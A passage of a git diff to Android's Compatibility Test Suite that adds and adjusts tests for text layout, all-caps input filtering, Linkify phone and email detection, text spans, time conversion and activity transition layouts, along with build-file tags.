+        final int width = 1000;
+        final TextPaint textPaint = new TextPaint();
+        // create the DynamicLayout
+        final DynamicLayout dynamicLayout = new DynamicLayout(text,
+                textPaint,
+                width,
+                ALIGN_NORMAL,
+                spacingMultiplier,
+                spacingAdd,
+                false /*includepad*/);
+
+        // create a StaticLayout with same text, this will define the expectations
+        Layout expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+                spacingMultiplier);
+        assertLineSpecs(expected, dynamicLayout);
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
index 9e5d293..8b351b5 100644
--- a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
+++ b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
@@ -17,16 +17,24 @@
 package android.text.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
 import android.text.InputFilter;
 import android.text.InputFilter.AllCaps;
+import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.SpannedString;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Locale;
+
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class InputFilter_AllCapsTest {
@@ -41,7 +49,7 @@
 
         String expectedString1 = "AllCAPSTest";
         dest.insert(3, source);
-        assertEquals(expectedString1 , dest.toString());
+        assertEquals(expectedString1, dest.toString());
 
         String expectedString2 = "AllCAPSCAPS";
         dest.replace(7, 11, source);
@@ -58,4 +66,76 @@
             allCaps.filter(beforeFilterSource, 2, 7, dest, 0, beforeFilterSource.length());
         assertEquals(expectedAfterFilter, actualAfterFilter);
     }
+
+    @Test
+    public void testFilter_nonBMP() {
+        // The source string, lowerBee, is two code units that contains a single lowercase letter.
+        // DESERET SMALL LETTER BEE
+        final String lowerBee = new String(Character.toChars(0x1043A));
+        // DESERET CAPITAL LETTER BEE
+        final String upperBee = new String(Character.toChars(0x10412));
+
+        final AllCaps allCaps = new AllCaps();
+        final SpannedString dest = new SpannedString("");
+
+        // If given the whole string, the filter should transform it to uppercase.
+        assertEquals(upperBee, allCaps.filter(lowerBee, 0, lowerBee.length(), dest, 0, 0));
+
+        // If given just part of the character, it should be treated as an isolated surrogate
+        // and not get transformed, so null should be returned.
+        assertNull(allCaps.filter(lowerBee, 0, 1, dest, 0, 0));
+    }
+
+    @Test
+    public void testFilter_turkish() {
+        final String source = "i";
+        final AllCaps usAllCaps = new AllCaps(Locale.US);
+        final AllCaps turkishAllCaps = new AllCaps(new Locale("tr", "TR"));
+        final SpannedString dest = new SpannedString("");
+
+        assertEquals("I", usAllCaps.filter(source, 0, source.length(), dest, 0, 0));
+        assertEquals("İ", turkishAllCaps.filter(source, 0, source.length(), dest, 0, 0));
+    }
+
+    @Test
+    public void testFilter_titlecase() {
+        final String source = "Lj"; // U+01C8 LATIN CAPITAL LETTER L WITH SMALL LETTER J
+        final AllCaps allCaps = new AllCaps();
+        final SpannedString dest = new SpannedString("");
+
+        assertEquals("LJ", // LATIN CAPITAL LETTER LJ
+                allCaps.filter(source, 0, source.length(), dest, 0, 0));
+    }
+
+    @Test
+    public void testFilter_greekWithSpans() {
+        final Locale greek = new Locale("el", "GR");
+        final String lowerString = "ι\u0301ριδα";  // ίριδα with first letter decomposed
+        final String upperString = "ΙΡΙΔΑ";  // uppercased
+
+        final SpannableString source = new SpannableString(lowerString);
+        final Object span = new Object();
+        source.setSpan(span, 0, 2, Spanned.SPAN_INCLUSIVE_INCLUSIVE); // around "ί"
+
+        final AllCaps greekAllCaps = new AllCaps(greek);
+        final SpannedString dest = new SpannedString("");
+        final CharSequence result = greekAllCaps.filter(source, 0, source.length(), dest, 0, 0);
+
+        assertEquals(upperString, result.toString());
+        assertTrue(result instanceof Spanned);
+        final Spanned spannedResult = (Spanned) result;
+        final Object[] resultSpans = spannedResult.getSpans(
+                0, spannedResult.length(), Object.class);
+        assertEquals(1, resultSpans.length);
+        assertSame(span, resultSpans[0]);
+        assertEquals(0, spannedResult.getSpanStart(span));
+        // The two characters in source have been transformed to one character in the result.
+        assertEquals(1, spannedResult.getSpanEnd(span));
+        assertEquals(Spanned.SPAN_INCLUSIVE_INCLUSIVE, spannedResult.getSpanFlags(span));
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testNullConstructor() {
+        new AllCaps(null);
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/MyanmarTest.java b/tests/tests/text/src/android/text/cts/MyanmarTest.java
index 8a71adb..916b451 100644
--- a/tests/tests/text/src/android/text/cts/MyanmarTest.java
+++ b/tests/tests/text/src/android/text/cts/MyanmarTest.java
@@ -19,16 +19,20 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
+import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
 import android.widget.TextView;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Locale;
+
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class MyanmarTest {
@@ -38,6 +42,21 @@
     @UiThreadTest
     @Test
     public void testCompositionSemantics() {
+        boolean isMyanmarSupported = false;
+        final String[] localeNames = Resources.getSystem().getStringArray(
+                Resources.getSystem().getIdentifier("supported_locales", "array", "android"));
+        for (String localeName : localeNames) {
+            if (TextUtils.equals("my", Locale.forLanguageTag(localeName).getLanguage())) {
+                isMyanmarSupported = true;
+                break;
+            }
+        }
+        if (!isMyanmarSupported) {
+            // Ignoring since no Myanmar font guarantee if Myanmar is not listed in supported
+            // locales.
+            return;
+        }
+
         Context context = InstrumentationRegistry.getTargetContext();
         String textA = "\u1019\u102d\u102f";
         String textB = "\u1019\u102f\u102d"; // wrong order for Unicode
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 39e5e4f..b304cc5 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -1125,7 +1125,7 @@
 
     @Test
     public void testVeryLargeString() {
-        final int MAX_COUNT = 1 << 21;
+        final int MAX_COUNT = 1 << 20;
         final int WORD_SIZE = 32;
         char[] longText = new char[MAX_COUNT];
         for (int n = 0; n < MAX_COUNT; n++) {
diff --git a/tests/tests/text/src/android/text/format/cts/TimeTest.java b/tests/tests/text/src/android/text/format/cts/TimeTest.java
index e085a29..b73b12c 100644
--- a/tests/tests/text/src/android/text/format/cts/TimeTest.java
+++ b/tests/tests/text/src/android/text/format/cts/TimeTest.java
@@ -2823,6 +2823,13 @@
         Fields.verifyTimeEquals(expected, t);
     }
 
+    @Test
+    public void test_bug118835133() {
+        Time t = new Time("Asia/Singapore");
+        Fields.set(t, 2018, 9, 30, 12, 48, 32, 0 /* isDst */, 0, 0, 0);
+        // With http://b/118835133 toMillis() returns -1.
+        assertEquals(1540874912000L, t.toMillis(true /* ignoreDst */));
+    }
     private static void verifyNormalizeResult(boolean normalizeArgument, Time toNormalize,
             Time expectedTime, long expectedTimeMillis) {
         long actualTimeMillis = toNormalize.normalize(normalizeArgument /* ignore isDst */);
diff --git a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
index aa4ccdd..125b773 100644
--- a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
@@ -16,12 +16,16 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 import android.os.Parcel;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.StaticLayout;
 import android.text.TextPaint;
 import android.text.style.StrikethroughSpan;
 
@@ -88,4 +92,25 @@
             p.recycle();
         }
     }
+
+    // Measures the width of some potentially-spanned text, assuming it's not too wide.
+    private float textWidth(CharSequence text) {
+        final TextPaint tp = new TextPaint();
+        tp.setTextSize(100.0f); // Large enough so that the difference in kerning is visible.
+        final int largeWidth = 10000; // Enough width so the whole text fits in one line.
+        final StaticLayout layout = StaticLayout.Builder.obtain(
+                text, 0, text.length(), tp, largeWidth).build();
+        return layout.getLineWidth(0);
+    }
+
+    @Test
+    public void testDoesntAffectWidth() {
+        // Roboto kerns between "P" and "."
+        final SpannableString text = new SpannableString("P.");
+        final float origLineWidth = textWidth(text);
+        // Strike through just the "P".
+        text.setSpan(new StrikethroughSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+        final float strokethroughLineWidth = textWidth(text);
+        assertEquals(origLineWidth, strokethroughLineWidth, 0.0f);
+    }
 }
diff --git a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
index 5af81d8..489edb2 100644
--- a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
@@ -17,10 +17,12 @@
 package android.text.style.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.content.res.ColorStateList;
 import android.graphics.Color;
 import android.os.Parcel;
@@ -202,4 +204,62 @@
         assertEquals(family, newSpan.getFamily());
         p.recycle();
     }
+
+    @Test
+    public void testCreateFromStyle_FontResource() {
+        final TextAppearanceSpan span = new TextAppearanceSpan(mContext,
+                android.text.cts.R.style.customFont);
+        final TextPaint tp = new TextPaint();
+        final float originalTextWidth = tp.measureText("a");
+        span.updateDrawState(tp);
+        assertNotEquals(originalTextWidth, tp.measureText("a"), 0.0f);
+    }
+
+    @Test
+    public void testWriteReadParcel_FontResource() {
+        final TextAppearanceSpan span = new TextAppearanceSpan(mContext,
+                android.text.cts.R.style.customFont);
+
+        final Parcel p = Parcel.obtain();
+        span.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        final TextAppearanceSpan unparceledSpan = new TextAppearanceSpan(p);
+
+        final TextPaint tp = new TextPaint();
+        span.updateDrawState(tp);
+        final float originalSpanTextWidth = tp.measureText("a");
+        unparceledSpan.updateDrawState(tp);
+        assertEquals(originalSpanTextWidth, tp.measureText("a"), 0.0f);
+    }
+
+    @Test
+    public void testWriteReadParcel_FontResource_WithStyle() {
+        final TextAppearanceSpan span = new TextAppearanceSpan(mContext,
+                android.text.cts.R.style.customFontWithStyle);
+
+        final Parcel p = Parcel.obtain();
+        span.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        final TextAppearanceSpan unparceledSpan = new TextAppearanceSpan(p);
+
+        final TextPaint tp = new TextPaint();
+        span.updateDrawState(tp);
+        final float originalSpanTextWidth = tp.measureText("a");
+        unparceledSpan.updateDrawState(tp);
+        assertEquals(originalSpanTextWidth, tp.measureText("a"), 0.0f);
+    }
+
+    @Test
+    public void testRestrictContext() throws PackageManager.NameNotFoundException {
+        final Context ctx = mContext.createPackageContext(mContext.getPackageName(),
+                Context.CONTEXT_RESTRICTED);
+        final TextAppearanceSpan span = new TextAppearanceSpan(ctx,
+                android.text.cts.R.style.customFont);
+        final TextPaint tp = new TextPaint();
+        final float originalTextWidth = tp.measureText("a");
+        span.updateDrawState(tp);
+        // Custom font must not be loaded with the restricted context.
+        assertEquals(originalTextWidth, tp.measureText("a"), 0.0f);
+
+    }
 }
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index 05fb4bc..e1c4742 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -25,6 +25,7 @@
 import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.MediumTest;
 import android.support.test.runner.AndroidJUnit4;
+import android.telephony.TelephonyManager;
 import android.text.Spannable;
 import android.text.SpannableString;
 import android.text.style.URLSpan;
@@ -353,10 +354,15 @@
                 + " " + numbersUSLocal
                 + " " + numbersIntl);
 
-        // phonenumber linkify is locale-dependent
-        if (Locale.US.equals(Locale.getDefault())) {
-            assertTrue(Linkify.addLinks(spannable, Linkify.PHONE_NUMBERS));
-            URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
+        // phonenumber linkify depends on the device's SIM card country.
+        final TelephonyManager tm =
+                (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+        final String region = tm.getSimCountryIso().toUpperCase(Locale.US);
+
+        assertTrue(Linkify.addLinks(spannable, Linkify.PHONE_NUMBERS));
+        final URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
+        if ("US".equals(region)) {
+            // For the US, these specific phone numbers should be detected.
             assertEquals(9, spans.length);
             assertEquals("tel:8121234562", spans[0].getURL());
             assertEquals("tel:8121234563", spans[1].getURL());
@@ -367,6 +373,16 @@
             assertEquals("tel:+4408121234565", spans[6].getURL());
             assertEquals("tel:+18005551213", spans[7].getURL());
             assertEquals("tel:+18005551214", spans[8].getURL());
+        } else {
+            // For other countries, the phone numbers that would be detected are based on the
+            // country, so the exact list is unknown, but the various international phone numbers,
+            // starting with '+', must always be detected, and must appear next to each other and
+            // at the end of the list.
+            assertTrue(spans.length >= 4);
+            assertEquals("tel:+4408121234564", spans[spans.length - 4].getURL());
+            assertEquals("tel:+4408121234565", spans[spans.length - 3].getURL());
+            assertEquals("tel:+18005551213", spans[spans.length - 2].getURL());
+            assertEquals("tel:+18005551214", spans[spans.length - 1].getURL());
         }
 
         assertFalse(Linkify.addLinks((Spannable) null, 0));
@@ -690,6 +706,9 @@
     public void testAddLinks_email_matchesShortValidEmail() {
         String email = "a@a.co";
         verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
+
+        email = "ab@a.co";
+        verifyAddLinksWithEmailSucceeds("Should match email: " + email, email);
     }
 
     @Test
diff --git a/tests/tests/theme/Android.mk b/tests/tests/theme/Android.mk
index 365f198..71d576d 100644
--- a/tests/tests/theme/Android.mk
+++ b/tests/tests/theme/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/toast/Android.mk b/tests/tests/toast/Android.mk
index cb8fe99..1ba7d79 100644
--- a/tests/tests/toast/Android.mk
+++ b/tests/tests/toast/Android.mk
@@ -21,7 +21,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 
diff --git a/tests/tests/toast/AndroidTest.xml b/tests/tests/toast/AndroidTest.xml
index 5a210a7..66ceb5d 100644
--- a/tests/tests/toast/AndroidTest.xml
+++ b/tests/tests/toast/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for Toast test cases">
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsToastTestCases.apk" />
diff --git a/tests/tests/toastlegacy/Android.mk b/tests/tests/toastlegacy/Android.mk
index 96916a3..335c539 100644
--- a/tests/tests/toastlegacy/Android.mk
+++ b/tests/tests/toastlegacy/Android.mk
@@ -21,7 +21,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 
diff --git a/tests/tests/transition/Android.mk b/tests/tests/transition/Android.mk
index 8cc6a49..cba0b45 100644
--- a/tests/tests/transition/Android.mk
+++ b/tests/tests/transition/Android.mk
@@ -39,6 +39,6 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/transition/res/layout/scene1.xml b/tests/tests/transition/res/layout/scene1.xml
index 140bb8d..35e45bb 100644
--- a/tests/tests/transition/res/layout/scene1.xml
+++ b/tests/tests/transition/res/layout/scene1.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/redSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare"
diff --git a/tests/tests/transition/res/layout/scene10.xml b/tests/tests/transition/res/layout/scene10.xml
index 5403354..2fc9001 100644
--- a/tests/tests/transition/res/layout/scene10.xml
+++ b/tests/tests/transition/res/layout/scene10.xml
@@ -22,29 +22,29 @@
     android:transitionName="holder"
     android:id="@+id/holder">
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#F00"
         android:layout_alignParentLeft="true"
         android:layout_alignParentTop="true"
         android:id="@+id/redSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#0F0"
         android:layout_alignParentRight="true"
         android:layout_alignParentTop="true"
         android:id="@+id/greenSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#00F"
         android:layout_alignParentRight="true"
         android:layout_alignParentBottom="true"
         android:id="@+id/blueSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#FF0"
         android:layout_alignParentLeft="true"
         android:layout_alignParentBottom="true"
diff --git a/tests/tests/transition/res/layout/scene11.xml b/tests/tests/transition/res/layout/scene11.xml
index dc6ef19..3c90df9 100644
--- a/tests/tests/transition/res/layout/scene11.xml
+++ b/tests/tests/transition/res/layout/scene11.xml
@@ -23,6 +23,6 @@
     <ImageView
         android:id="@+id/redSquare"
         android:src="#F00"
-        android:layout_width="10dp"
-        android:layout_height="10dp"/>
+        android:layout_width="30dp"
+        android:layout_height="30dp"/>
 </RelativeLayout>
diff --git a/tests/tests/transition/res/layout/scene12.xml b/tests/tests/transition/res/layout/scene12.xml
index 559ab39..239901e 100644
--- a/tests/tests/transition/res/layout/scene12.xml
+++ b/tests/tests/transition/res/layout/scene12.xml
@@ -23,23 +23,23 @@
     android:orientation="horizontal"
     android:id="@+id/holder">
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#F00"
         android:id="@+id/redSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#0F0"
         android:id="@+id/greenSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#00F"
         android:id="@+id/blueSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#FF0"
         android:id="@+id/yellowSquare"/>
 </LinearLayout>
diff --git a/tests/tests/transition/res/layout/scene13.xml b/tests/tests/transition/res/layout/scene13.xml
index e6a4caf..c7c0575 100644
--- a/tests/tests/transition/res/layout/scene13.xml
+++ b/tests/tests/transition/res/layout/scene13.xml
@@ -22,34 +22,34 @@
     android:transitionName="holder"
     android:id="@+id/holder">
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#F00"
         android:layout_centerInParent="true"
         android:transitionName="redSquare"
         android:id="@+id/redSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#000"
         android:layout_alignParentRight="true"
         android:layout_alignParentTop="true"
         android:id="@+id/blackSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#0F0"
         android:layout_toRightOf="@id/blackSquare"
         android:id="@+id/greenSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#00F"
         android:layout_toRightOf="@id/greenSquare"
         android:id="@+id/blueSquare"/>
     <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
         android:background="#FF0"
         android:layout_toRightOf="@id/blueSquare"
         android:id="@+id/yellowSquare"/>
diff --git a/tests/tests/transition/res/layout/scene14.xml b/tests/tests/transition/res/layout/scene14.xml
new file mode 100644
index 0000000..2ccf8bb
--- /dev/null
+++ b/tests/tests/transition/res/layout/scene14.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:transitionName="holder"
+    android:id="@+id/holder">
+    <ImageView
+        android:id="@+id/redSquare"
+        android:src="#F00"
+        android:layout_width="30dp"
+        android:layout_height="30dp"
+        android:visibility="gone"/>
+</RelativeLayout>
diff --git a/tests/tests/transition/res/layout/scene2.xml b/tests/tests/transition/res/layout/scene2.xml
index 541ec04..9e92801 100644
--- a/tests/tests/transition/res/layout/scene2.xml
+++ b/tests/tests/transition/res/layout/scene2.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene3.xml b/tests/tests/transition/res/layout/scene3.xml
index 01fb78d..08c98a3 100644
--- a/tests/tests/transition/res/layout/scene3.xml
+++ b/tests/tests/transition/res/layout/scene3.xml
@@ -18,12 +18,12 @@
                 android:layout_width="match_parent"
                 android:layout_height="match_parent"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:id="@+id/redSquare"
           android:layout_toRightOf="@+id/greenSquare" />
diff --git a/tests/tests/transition/res/layout/scene6.xml b/tests/tests/transition/res/layout/scene6.xml
index 8cffee5..e3a010b 100644
--- a/tests/tests/transition/res/layout/scene6.xml
+++ b/tests/tests/transition/res/layout/scene6.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="30dp"
-          android:layout_height="30dp"
+    <View android:layout_width="50dp"
+          android:layout_height="50dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="30dp"
-          android:layout_height="30dp"
+    <View android:layout_width="50dp"
+          android:layout_height="50dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene7.xml b/tests/tests/transition/res/layout/scene7.xml
index 72c74e8..d91b959 100644
--- a/tests/tests/transition/res/layout/scene7.xml
+++ b/tests/tests/transition/res/layout/scene7.xml
@@ -19,8 +19,8 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/greenSquare" />
diff --git a/tests/tests/transition/res/layout/scene8.xml b/tests/tests/transition/res/layout/scene8.xml
index 69674ee..5b5c574 100644
--- a/tests/tests/transition/res/layout/scene8.xml
+++ b/tests/tests/transition/res/layout/scene8.xml
@@ -19,13 +19,13 @@
                 android:layout_height="match_parent"
                 android:transitionName="holder"
                 android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#F00"
           android:transitionName="red"
           android:id="@+id/greenSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
+    <View android:layout_width="30dp"
+          android:layout_height="30dp"
           android:background="#0F0"
           android:transitionName="green"
           android:id="@+id/redSquare"
diff --git a/tests/tests/transition/res/layout/scene9.xml b/tests/tests/transition/res/layout/scene9.xml
index 2eb3762f..66e1be3 100644
--- a/tests/tests/transition/res/layout/scene9.xml
+++ b/tests/tests/transition/res/layout/scene9.xml
@@ -20,7 +20,7 @@
                 android:transitionName="holder"
                 android:id="@+id/holder">
     <FrameLayout
-            android:layout_marginTop="50dp"
+            android:layout_marginTop="70dp"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content">
         <TextView
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
index 889dc59..6c4de33 100644
--- a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -28,7 +28,11 @@
 import static org.mockito.Mockito.verify;
 
 import android.app.ActivityOptions;
+import android.app.SharedElementCallback;
 import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Drawable;
 import android.os.Bundle;
 import android.support.test.filters.MediumTest;
 import android.support.test.runner.AndroidJUnit4;
@@ -48,6 +52,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.List;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -418,6 +423,53 @@
         TargetActivity.sLastCreated = null;
     }
 
+    // Ensure that the shared element view copy is the correct image of the shared element view
+    // source
+    @Test
+    public void sharedElementCopied() throws Throwable {
+        enterScene(R.layout.scene1);
+
+        mActivityRule.runOnUiThread(() -> {
+            View sharedElement = mActivity.findViewById(R.id.redSquare);
+            Bundle options = ActivityOptions.makeSceneTransitionAnimation(mActivity,
+                    sharedElement, "red").toBundle();
+            Intent intent = new Intent(mActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_LAYOUT_ID, R.layout.scene2);
+            mActivity.startActivity(intent, options);
+        });
+
+        TargetActivity targetActivity = waitForTargetActivity();
+        verify(targetActivity.enterListener, within(3000)).onTransitionEnd(any());
+        verify(mExitListener, times(1)).onTransitionEnd(any());
+
+        final CountDownLatch startCalled = new CountDownLatch(1);
+        final SharedElementCallback sharedElementCallback = new SharedElementCallback() {
+            @Override
+            public void onSharedElementStart(List<String> sharedElementNames,
+                    List<View> sharedElements,
+                    List<View> sharedElementSnapshots) {
+                int index = sharedElementNames.indexOf("red");
+                View sharedElement = sharedElementSnapshots.get(index);
+                Drawable backgroundDrawable = sharedElement.getBackground();
+                BitmapDrawable bitmapDrawable = (BitmapDrawable) backgroundDrawable;
+                Bitmap bitmap = bitmapDrawable.getBitmap();
+                Bitmap copy = bitmap.copy(Bitmap.Config.ARGB_8888, false);
+                assertEquals(0xFFFF0000, copy.getPixel(1, 1));
+                startCalled.countDown();
+                super.onSharedElementStart(sharedElementNames, sharedElements,
+                        sharedElementSnapshots);
+            }
+        };
+
+        mActivity.setExitSharedElementCallback(sharedElementCallback);
+        mActivityRule.runOnUiThread(() -> targetActivity.finishAfterTransition());
+
+        // Should only take a short time, but there's no need to rush it on failure.
+        assertTrue(startCalled.await(5, TimeUnit.SECONDS));
+
+        TargetActivity.sLastCreated = null;
+    }
+
